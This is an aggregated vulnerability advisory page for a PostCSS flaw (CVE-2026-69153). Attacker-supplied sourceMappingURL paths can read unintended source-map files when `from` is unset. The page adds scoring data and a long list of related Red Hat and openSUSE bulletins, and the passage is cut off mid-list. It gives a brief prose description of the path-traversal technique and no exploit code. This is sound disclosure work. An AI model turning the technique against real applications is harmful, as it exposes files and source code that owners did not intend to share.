GHSA-fxqj-rqcc-2cmpPublished

PostCSS: incomplete fix of CVE-2026-45623 — attacker-controlled sourceMappingURL reads arbitrary .map files when `from` is unset

Exploitation and risk

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

cve-program · CVE-2026-69153

Published

PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map’s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19.

Source published: 3 Aug 2026 16:56:25 UTC
Source modified: 3 Aug 2026 18:28:59 UTC
Saved here: 23 Oct 2026 15:48:27 UTC
Source terms: CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · 6.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

euvd · EUVD-2026-52373

Published

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Aug 3, 2026, 4:56:25 PM

dateUpdated: Aug 3, 2026, 6:28:59 PM

49 related source bulletins · separate from aliases

openSUSE-SU-2026:11680-1: agama-web-ui-24+0.a836cced5-52.1 on GA media

CVE-2025-7783 · CVE-2026-13149 · CVE-2026-13676 · CVE-2026-33245 · CVE-2026-49356 · CVE-2026-53550 · CVE-2026-53632 · CVE-2026-54466 · CVE-2026-55602 · CVE-2026-67313 · CVE-2026-67315 · CVE-2026-67317 · CVE-2026-67319 · CVE-2026-67321 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73650

RHSA-2026:60441: Red Hat Security Advisory: OpenShift Container Platform 4.22.12 bug fix and security update

CVE-2026-27136 · CVE-2026-33814 · CVE-2026-42151 · CVE-2026-44990 · CVE-2026-45623 · CVE-2026-48801 · CVE-2026-54423 · CVE-2026-69153 · CVE-2026-73566

RHSA-2026:92510: Red Hat Security Advisory: RHOAI 3.4.6 - Red Hat OpenShift AI

CVE-2023-54404 · CVE-2026-11822 · CVE-2026-11824 · CVE-2026-13717 · CVE-2026-16221 · CVE-2026-17106 · CVE-2026-18446 · CVE-2026-25681 · CVE-2026-26007 · CVE-2026-27136 · CVE-2026-33814 · CVE-2026-33818 · CVE-2026-39821 · CVE-2026-39834 · CVE-2026-41178 · CVE-2026-42502 · CVE-2026-45819 · CVE-2026-45820 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-57516 · CVE-2026-59951 · CVE-2026-63209 · CVE-2026-63374 · CVE-2026-65898 · CVE-2026-67312 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69097 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73643 · CVE-2026-75838 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-76844 · CVE-2026-77301 · CVE-2026-78679 · CVE-2026-82397 · CVE-2026-83663 · CVE-2026-84375 · CVE-2026-84445 · CVE-2026-85393 · CVE-2026-85525 · CVE-2026-87018 · CVE-2026-90711 · CVE-2026-91990 · CVE-2026-92599 · CVE-2026-93690 · CVE-2026-93749 · CVE-2026-94637 · CVE-2026-96640 · CVE-2026-96643 · CVE-2026-96644 · CVE-2026-96778 · CVE-2026-96804 · CVE-2026-97687 · CVE-2026-97689 · CVE-2026-102267 · CVE-2026-102271 · CVE-2026-102272 · CVE-2026-102276 · CVE-2026-102278 · CVE-2026-102282 · CVE-2026-104150 · CVE-2026-104851 · CVE-2026-105922 · CVE-2026-106445 · CVE-2026-106446 · CVE-2026-109156 · CVE-2026-109383 · CVE-2026-109527 · CVE-2026-109829 · CVE-2026-109869 · CVE-2026-109956 · CVE-2026-110856 · CVE-2026-110857 · CVE-2026-110858 · CVE-2026-110859 · CVE-2026-111064 · CVE-2026-111066 · CVE-2026-111497 · CVE-2026-112390 · CVE-2026-112391 · CVE-2026-112392 · CVE-2026-112397 · CVE-2026-112399 · CVE-2026-112400 · CVE-2026-112402 · CVE-2026-112404 · CVE-2026-112405 · CVE-2026-112893 · CVE-2026-112894 · CVE-2026-112895 · CVE-2026-112896 · CVE-2026-112897 · CVE-2026-112940 · CVE-2026-114145

RHSA-2026:65514: Red Hat Security Advisory: Red Hat Quay 3.9.26

CVE-2026-15792 · CVE-2026-16221 · CVE-2026-18255 · CVE-2026-32283 · CVE-2026-33818 · CVE-2026-44705 · CVE-2026-49477 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089

RHSA-2026:59558: Red Hat Security Advisory: multicluster engine for Kubernetes v2.8.10 security update

CVE-2024-45336 · CVE-2025-22866 · CVE-2025-30204 · CVE-2026-10059 · CVE-2026-12143 · CVE-2026-19130 · CVE-2026-25681 · CVE-2026-27136 · CVE-2026-27145 · CVE-2026-39831 · CVE-2026-42502 · CVE-2026-45623 · CVE-2026-46595 · CVE-2026-46597 · CVE-2026-47219 · CVE-2026-54272 · CVE-2026-66794 · CVE-2026-66795 · CVE-2026-66804 · CVE-2026-66805 · CVE-2026-66808 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73086 · CVE-2026-73266 · CVE-2026-73267 · CVE-2026-73268 · CVE-2026-73269

RHSA-2026:62260: Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.30.0 Release.

CVE-2025-55163 · CVE-2026-8286 · CVE-2026-9277 · CVE-2026-9547 · CVE-2026-9563 · CVE-2026-10050 · CVE-2026-10051 · CVE-2026-12143 · CVE-2026-12151 · CVE-2026-13149 · CVE-2026-15075 · CVE-2026-15076 · CVE-2026-27136 · CVE-2026-34986 · CVE-2026-39820 · CVE-2026-39831 · CVE-2026-39835 · CVE-2026-40898 · CVE-2026-40983 · CVE-2026-40984 · CVE-2026-41242 · CVE-2026-41695 · CVE-2026-41716 · CVE-2026-42264 · CVE-2026-42499 · CVE-2026-44705 · CVE-2026-45149 · CVE-2026-45416 · CVE-2026-45623 · CVE-2026-45674 · CVE-2026-46597 · CVE-2026-46681 · CVE-2026-47691 · CVE-2026-48020 · CVE-2026-48068 · CVE-2026-48491 · CVE-2026-49978 · CVE-2026-50010 · CVE-2026-50193 · CVE-2026-53488 · CVE-2026-53492 · CVE-2026-53622 · CVE-2026-54399 · CVE-2026-54428 · CVE-2026-54512 · CVE-2026-54513 · CVE-2026-54763 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56745 · CVE-2026-56746 · CVE-2026-56819 · CVE-2026-59296 · CVE-2026-59869 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-59877 · CVE-2026-59888 · CVE-2026-59899 · CVE-2026-65600 · CVE-2026-65601 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-68494 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73566 · CVE-2026-73646 · CVE-2026-75838

RHSA-2026:74511: Red Hat Security Advisory: Red Hat Quay 3.17.5

CVE-2026-15792 · CVE-2026-16221 · CVE-2026-18255 · CVE-2026-33818 · CVE-2026-39820 · CVE-2026-39822 · CVE-2026-42151 · CVE-2026-42154 · CVE-2026-42499 · CVE-2026-42504 · CVE-2026-44705 · CVE-2026-49477 · CVE-2026-49825 · CVE-2026-54770 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69153 · CVE-2026-84292 · CVE-2026-84394

RHSA-2026:56338: Red Hat Security Advisory: Ansible plug-ins for Red Hat Developer Hub Product Release Update

CVE-2026-9595 · CVE-2026-12143 · CVE-2026-14257 · CVE-2026-44705 · CVE-2026-45623 · CVE-2026-46625 · CVE-2026-54272 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089

RHSA-2026:63307: Red Hat Security Advisory: Red Hat Quay 3.15.8

CVE-2026-15927 · CVE-2026-18255 · CVE-2026-44705 · CVE-2026-49477 · CVE-2026-56852 · CVE-2026-57231 · CVE-2026-59869 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089

RHSA-2026:50290: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2026-14257 · CVE-2026-69152 · CVE-2026-69153

RHSA-2026:65852: Red Hat Security Advisory: OpenShift Container Platform 4.18.55 bug fix and security update

CVE-2026-14362 · CVE-2026-25681 · CVE-2026-33814 · CVE-2026-39829 · CVE-2026-42965 · CVE-2026-43003 · CVE-2026-44918 · CVE-2026-45623 · CVE-2026-46597 · CVE-2026-54284 · CVE-2026-54423 · CVE-2026-56852 · CVE-2026-59869 · CVE-2026-66138 · CVE-2026-69153

RHSA-2026:59561: Red Hat Security Advisory: Kiali 2.11.16 for Red Hat OpenShift Service Mesh 3.1

CVE-2026-14257 · CVE-2026-45149 · CVE-2026-45623 · CVE-2026-54272 · CVE-2026-67313 · CVE-2026-67320 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73088 · CVE-2026-73089

RHSA-2026:66084: Red Hat Security Advisory: Red Hat Quay 3.10.26

CVE-2026-15792 · CVE-2026-18255 · CVE-2026-32283 · CVE-2026-33818 · CVE-2026-44705 · CVE-2026-49477 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-84375

RHSA-2026:67279: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.7 Container Release Update

CVE-2025-57847 · CVE-2026-12564 · CVE-2026-14257 · CVE-2026-15307 · CVE-2026-42215 · CVE-2026-42284 · CVE-2026-42504 · CVE-2026-44244 · CVE-2026-49825 · CVE-2026-54284 · CVE-2026-59877 · CVE-2026-59893 · CVE-2026-67322 · CVE-2026-67323 · CVE-2026-67325 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69243 · CVE-2026-69244 · CVE-2026-71491 · CVE-2026-73620 · CVE-2026-73622 · CVE-2026-73623 · CVE-2026-73624 · CVE-2026-73625 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-78679 · CVE-2026-84375

RHSA-2026:50287: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2026-69153 · CVE-2026-72815 · CVE-2026-73086 · CVE-2026-73646

RHSA-2026:59583: Red Hat Security Advisory: Kiali 2.27.3 for Red Hat OpenShift Service Mesh 3.4

CVE-2026-14257 · CVE-2026-41178 · CVE-2026-45623 · CVE-2026-54272 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73088 · CVE-2026-73089

RHSA-2026:54435: Red Hat Security Advisory: Streams for Apache Kafka 3.2.1 release and security update

CVE-2026-6860 · CVE-2026-10051 · CVE-2026-15075 · CVE-2026-15076 · CVE-2026-16308 · CVE-2026-27145 · CVE-2026-32283 · CVE-2026-33811 · CVE-2026-34478 · CVE-2026-34480 · CVE-2026-34481 · CVE-2026-35554 · CVE-2026-39821 · CVE-2026-39852 · CVE-2026-40983 · CVE-2026-40984 · CVE-2026-42504 · CVE-2026-42578 · CVE-2026-42579 · CVE-2026-42581 · CVE-2026-42583 · CVE-2026-42584 · CVE-2026-42587 · CVE-2026-44249 · CVE-2026-44573 · CVE-2026-44574 · CVE-2026-44575 · CVE-2026-44577 · CVE-2026-44578 · CVE-2026-44579 · CVE-2026-44893 · CVE-2026-45109 · CVE-2026-45416 · CVE-2026-45674 · CVE-2026-47691 · CVE-2026-48043 · CVE-2026-48059 · CVE-2026-49978 · CVE-2026-50193 · CVE-2026-50559 · CVE-2026-54512 · CVE-2026-54513 · CVE-2026-55225 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56745 · CVE-2026-56746 · CVE-2026-56819 · CVE-2026-59869 · CVE-2026-59899 · CVE-2026-59901 · CVE-2026-64641 · CVE-2026-64644 · CVE-2026-64645 · CVE-2026-64646 · CVE-2026-64648 · CVE-2026-64649 · CVE-2026-69153

RHSA-2026:57194: Red Hat Security Advisory: multicluster engine for Kubernetes v2.11.5 security update

CVE-2024-45336 · CVE-2025-22866 · CVE-2026-13676 · CVE-2026-25680 · CVE-2026-25681 · CVE-2026-27136 · CVE-2026-27141 · CVE-2026-27145 · CVE-2026-33811 · CVE-2026-33814 · CVE-2026-39817 · CVE-2026-39819 · CVE-2026-39820 · CVE-2026-39821 · CVE-2026-39823 · CVE-2026-39825 · CVE-2026-39826 · CVE-2026-39827 · CVE-2026-39828 · CVE-2026-39829 · CVE-2026-39830 · CVE-2026-39831 · CVE-2026-39832 · CVE-2026-39833 · CVE-2026-39834 · CVE-2026-39835 · CVE-2026-39836 · CVE-2026-42499 · CVE-2026-42502 · CVE-2026-42504 · CVE-2026-42506 · CVE-2026-42507 · CVE-2026-42508 · CVE-2026-44740 · CVE-2026-44990 · CVE-2026-45623 · CVE-2026-46597 · CVE-2026-46598 · CVE-2026-59869 · CVE-2026-66804 · CVE-2026-66805 · CVE-2026-66808 · CVE-2026-69153 · CVE-2026-73086

RHSA-2026:56357: Red Hat Security Advisory: Ansible plug-ins for Red Hat Developer Hub Product Release Update

CVE-2026-9595 · CVE-2026-14257 · CVE-2026-45623 · CVE-2026-46625 · CVE-2026-54272 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089

RHSA-2026:59559: Red Hat Security Advisory: multicluster engine for Kubernetes v2.9.7 security update

CVE-2024-45336 · CVE-2025-22866 · CVE-2026-10059 · CVE-2026-12143 · CVE-2026-19130 · CVE-2026-27136 · CVE-2026-27145 · CVE-2026-33811 · CVE-2026-39829 · CVE-2026-39831 · CVE-2026-42502 · CVE-2026-44740 · CVE-2026-45623 · CVE-2026-46597 · CVE-2026-47219 · CVE-2026-54272 · CVE-2026-59869 · CVE-2026-66794 · CVE-2026-66795 · CVE-2026-66804 · CVE-2026-66805 · CVE-2026-66808 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73086 · CVE-2026-73266 · CVE-2026-73267 · CVE-2026-73268 · CVE-2026-73269

RHSA-2026:70267: Red Hat Security Advisory: Red Hat Quay 3.14.9

CVE-2026-4427 · CVE-2026-6322 · CVE-2026-9277 · CVE-2026-10143 · CVE-2026-12143 · CVE-2026-13149 · CVE-2026-13676 · CVE-2026-14257 · CVE-2026-15792 · CVE-2026-15927 · CVE-2026-16221 · CVE-2026-18255 · CVE-2026-32591 · CVE-2026-33747 · CVE-2026-33748 · CVE-2026-33818 · CVE-2026-39820 · CVE-2026-39821 · CVE-2026-39822 · CVE-2026-39828 · CVE-2026-39829 · CVE-2026-39830 · CVE-2026-39831 · CVE-2026-39832 · CVE-2026-39835 · CVE-2026-42151 · CVE-2026-42154 · CVE-2026-42499 · CVE-2026-42504 · CVE-2026-42508 · CVE-2026-44432 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-44705 · CVE-2026-44990 · CVE-2026-46595 · CVE-2026-46597 · CVE-2026-48526 · CVE-2026-49477 · CVE-2026-54058 · CVE-2026-54060 · CVE-2026-55379 · CVE-2026-55380 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-57231 · CVE-2026-59197 · CVE-2026-59199 · CVE-2026-59200 · CVE-2026-59204 · CVE-2026-59205 · CVE-2026-59869 · CVE-2026-59885 · CVE-2026-59886 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-84375

RHSA-2026:63103: Red Hat Security Advisory: OpenShift Container Platform 4.20.37 bug fix and security update

CVE-2026-33814 · CVE-2026-42151 · CVE-2026-44990 · CVE-2026-45623 · CVE-2026-54272 · CVE-2026-69153 · CVE-2026-69192

RHSA-2026:59548: Red Hat Security Advisory: Kiali 2.4.22 for Red Hat OpenShift Service Mesh 3.0

CVE-2026-14257 · CVE-2026-45149 · CVE-2026-45623 · CVE-2026-54272 · CVE-2026-67313 · CVE-2026-67320 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73088 · CVE-2026-73089

RHSA-2026:71114: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update

CVE-2026-12564 · CVE-2026-33818 · CVE-2026-42504 · CVE-2026-54284 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-59869 · CVE-2026-59893 · CVE-2026-67322 · CVE-2026-67323 · CVE-2026-67325 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-71458 · CVE-2026-71459 · CVE-2026-71460 · CVE-2026-71462 · CVE-2026-71463 · CVE-2026-71464 · CVE-2026-71465 · CVE-2026-71491 · CVE-2026-75884 · CVE-2026-84470 · CVE-2026-84474 · CVE-2026-84499 · CVE-2026-84502 · CVE-2026-84638 · CVE-2026-84643 · CVE-2026-84644 · CVE-2026-84678 · CVE-2026-84679 · CVE-2026-84680 · CVE-2026-84683 · CVE-2026-84684 · CVE-2026-84686 · CVE-2026-84689 · CVE-2026-84691 · CVE-2026-84692 · CVE-2026-84703 · CVE-2026-84706 · CVE-2026-84707 · CVE-2026-84708 · CVE-2026-84709 · CVE-2026-84711 · CVE-2026-84712 · CVE-2026-84714 · CVE-2026-84716 · CVE-2026-84717 · CVE-2026-84718 · CVE-2026-84719 · CVE-2026-84720 · CVE-2026-84724 · CVE-2026-87817 · CVE-2026-87819

RHSA-2026:67936: Red Hat Security Advisory: OpenShift Container Platform 4.16.71 bug fix and security update

CVE-2025-30204 · CVE-2026-33814 · CVE-2026-33818 · CVE-2026-42504 · CVE-2026-43003 · CVE-2026-44918 · CVE-2026-44990 · CVE-2026-45623 · CVE-2026-48801 · CVE-2026-56852 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-66138 · CVE-2026-69153

RHSA-2026:54760: Red Hat Security Advisory: A Subscription Management tool for finding and reporting Red Hat product usage

CVE-2025-4330 · CVE-2026-6477 · CVE-2026-8643 · CVE-2026-9595 · CVE-2026-11940 · CVE-2026-13676 · CVE-2026-13757 · CVE-2026-14164 · CVE-2026-14257 · CVE-2026-34993 · CVE-2026-41989 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69243 · CVE-2026-69244 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089

RHSA-2026:66523: Red Hat Security Advisory: Red Hat Quay 3.12.22

RHSA-2026:57590: Red Hat Security Advisory: rh-podman-desktop security, bug fix, and enhancement update

CVE-2026-9595 · CVE-2026-12143 · CVE-2026-13149 · CVE-2026-13676 · CVE-2026-14257 · CVE-2026-34986 · CVE-2026-42338 · CVE-2026-42570 · CVE-2026-44705 · CVE-2026-45623 · CVE-2026-45736 · CVE-2026-45740 · CVE-2026-48068 · CVE-2026-48779 · CVE-2026-48801 · CVE-2026-49978 · CVE-2026-56876 · CVE-2026-59869 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-59877 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192

RHSA-2026:63047: Red Hat Security Advisory: OpenShift Container Platform 4.19.46 bug fix and security update

CVE-2026-12143 · CVE-2026-33814 · CVE-2026-45623 · CVE-2026-48801 · CVE-2026-54423 · CVE-2026-66138 · CVE-2026-69153

RHSA-2026:59554: Red Hat Security Advisory: Kiali 2.17.13 for Red Hat OpenShift Service Mesh 3.2

CVE-2026-14257 · CVE-2026-45149 · CVE-2026-45623 · CVE-2026-54272 · CVE-2026-67313 · CVE-2026-67320 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73088 · CVE-2026-73089

RHSA-2026:59566: Red Hat Security Advisory: Kiali 2.22.9 for Red Hat OpenShift Service Mesh 3.3

CVE-2026-14257 · CVE-2026-45149 · CVE-2026-45623 · CVE-2026-54272 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73088 · CVE-2026-73089

RHSA-2026:83598: Red Hat Security Advisory: RHTAS 1.4.4 - Red Hat Trusted Artifact Signer Release

CVE-2026-4800 · CVE-2026-41178 · CVE-2026-45623 · CVE-2026-56854 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73500 · CVE-2026-73643 · CVE-2026-73646 · CVE-2026-84375 · CVE-2026-84445 · CVE-2026-93749

RHSA-2026:50070: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2026-69153

RHSA-2026:92650: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.19.26 security, enhancement & bug fix update

CVE-2025-66418 · CVE-2025-66471 · CVE-2026-14257 · CVE-2026-19534 · CVE-2026-21441 · CVE-2026-33814 · CVE-2026-42055 · CVE-2026-45819 · CVE-2026-59879 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73569 · CVE-2026-73643 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394 · CVE-2026-84961 · CVE-2026-85152

RHSA-2026:71113: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update

CVE-2026-12564 · CVE-2026-33818 · CVE-2026-42504 · CVE-2026-54284 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-59869 · CVE-2026-59893 · CVE-2026-67214 · CVE-2026-67322 · CVE-2026-67323 · CVE-2026-67325 · CVE-2026-69153 · CVE-2026-71458 · CVE-2026-71459 · CVE-2026-71460 · CVE-2026-71462 · CVE-2026-71463 · CVE-2026-71464 · CVE-2026-71465 · CVE-2026-71491 · CVE-2026-73086 · CVE-2026-75838 · CVE-2026-75884 · CVE-2026-78679 · CVE-2026-84375 · CVE-2026-84470 · CVE-2026-84474 · CVE-2026-84486 · CVE-2026-84499 · CVE-2026-84502 · CVE-2026-84638 · CVE-2026-84643 · CVE-2026-84644 · CVE-2026-84679 · CVE-2026-84680 · CVE-2026-84683 · CVE-2026-84684 · CVE-2026-84686 · CVE-2026-84689 · CVE-2026-84691 · CVE-2026-84692 · CVE-2026-84703 · CVE-2026-84706 · CVE-2026-84707 · CVE-2026-84708 · CVE-2026-84709 · CVE-2026-84711 · CVE-2026-84712 · CVE-2026-84714 · CVE-2026-84716 · CVE-2026-84717 · CVE-2026-84718 · CVE-2026-84719 · CVE-2026-84720 · CVE-2026-84724 · CVE-2026-87817 · CVE-2026-87819

RHSA-2026:57191: Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes v2.16.3 security update

CVE-2026-13676 · CVE-2026-14362 · CVE-2026-25681 · CVE-2026-27136 · CVE-2026-33377 · CVE-2026-33811 · CVE-2026-33814 · CVE-2026-39828 · CVE-2026-39829 · CVE-2026-42151 · CVE-2026-42502 · CVE-2026-42504 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-44740 · CVE-2026-44990 · CVE-2026-45623 · CVE-2026-46384 · CVE-2026-46385 · CVE-2026-53488 · CVE-2026-59869 · CVE-2026-66799 · CVE-2026-66804 · CVE-2026-69153 · CVE-2026-73086

RHSA-2026:85846: Red Hat Security Advisory: Migration Toolkit for Containers (MTC) 1.8.18 security and bug fix update

CVE-2026-33186 · CVE-2026-59879 · CVE-2026-69153 · CVE-2026-84445 · CVE-2026-87776 · CVE-2026-88031 · CVE-2026-90711 · CVE-2026-92599 · CVE-2026-93749

RHSA-2026:87410: Red Hat Security Advisory: RHOAI 2.25.12 - Red Hat OpenShift AI

CVE-2024-12224 · CVE-2025-14920 · CVE-2025-14921 · CVE-2025-14924 · CVE-2025-14925 · CVE-2025-14926 · CVE-2025-14927 · CVE-2025-14928 · CVE-2025-14929 · CVE-2025-14930 · CVE-2025-61726 · CVE-2025-61729 · CVE-2026-5241 · CVE-2026-5497 · CVE-2026-6734 · CVE-2026-8643 · CVE-2026-9697 · CVE-2026-11822 · CVE-2026-11824 · CVE-2026-12151 · CVE-2026-12860 · CVE-2026-15143 · CVE-2026-15574 · CVE-2026-15679 · CVE-2026-15925 · CVE-2026-16221 · CVE-2026-18427 · CVE-2026-18446 · CVE-2026-18949 · CVE-2026-19481 · CVE-2026-19484 · CVE-2026-19534 · CVE-2026-25681 · CVE-2026-25960 · CVE-2026-27136 · CVE-2026-28390 · CVE-2026-28684 · CVE-2026-31812 · CVE-2026-32283 · CVE-2026-33186 · CVE-2026-33805 · CVE-2026-33811 · CVE-2026-33814 · CVE-2026-34993 · CVE-2026-39821 · CVE-2026-39852 · CVE-2026-39892 · CVE-2026-40682 · CVE-2026-41178 · CVE-2026-42502 · CVE-2026-42561 · CVE-2026-44431 · CVE-2026-44432 · CVE-2026-44660 · CVE-2026-44705 · CVE-2026-45820 · CVE-2026-47219 · CVE-2026-48526 · CVE-2026-48710 · CVE-2026-48746 · CVE-2026-49114 · CVE-2026-49825 · CVE-2026-49855 · CVE-2026-50559 · CVE-2026-54283 · CVE-2026-54399 · CVE-2026-54428 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56121 · CVE-2026-56746 · CVE-2026-56819 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-58059 · CVE-2026-59296 · CVE-2026-59879 · CVE-2026-59884 · CVE-2026-59885 · CVE-2026-59886 · CVE-2026-59899 · CVE-2026-62243 · CVE-2026-62384 · CVE-2026-63209 · CVE-2026-63374 · CVE-2026-65898 · CVE-2026-65918 · CVE-2026-66007 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67312 · CVE-2026-68494 · CVE-2026-68497 · CVE-2026-68770 · CVE-2026-69097 · CVE-2026-69112 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69243 · CVE-2026-69244 · CVE-2026-71281 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73415 · CVE-2026-73417 · CVE-2026-73502 · CVE-2026-73508 · CVE-2026-73620 · CVE-2026-73622 · CVE-2026-73623 · CVE-2026-73624 · CVE-2026-73625 · CVE-2026-73627 · CVE-2026-73646 · CVE-2026-75838 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76098 · CVE-2026-76169 · CVE-2026-76172 · CVE-2026-76222 · CVE-2026-76905 · CVE-2026-77354 · CVE-2026-77874 · CVE-2026-78676 · CVE-2026-78677 · CVE-2026-78679 · CVE-2026-78682 · CVE-2026-79674 · CVE-2026-79675 · CVE-2026-80205 · CVE-2026-81722 · CVE-2026-81724 · CVE-2026-81727 · CVE-2026-82397 · CVE-2026-82417 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394 · CVE-2026-84428 · CVE-2026-84445 · CVE-2026-84469 · CVE-2026-84504 · CVE-2026-84782 · CVE-2026-84961 · CVE-2026-85124 · CVE-2026-85152 · CVE-2026-85525 · CVE-2026-86049 · CVE-2026-86332 · CVE-2026-87776 · CVE-2026-87817 · CVE-2026-87819 · CVE-2026-88029 · CVE-2026-88031 · CVE-2026-89418 · CVE-2026-89425 · CVE-2026-91777 · CVE-2026-91990 · CVE-2026-92599 · CVE-2026-93599 · CVE-2026-93657 · CVE-2026-93749 · CVE-2026-96749 · CVE-2026-102831 · CVE-2026-102925 · 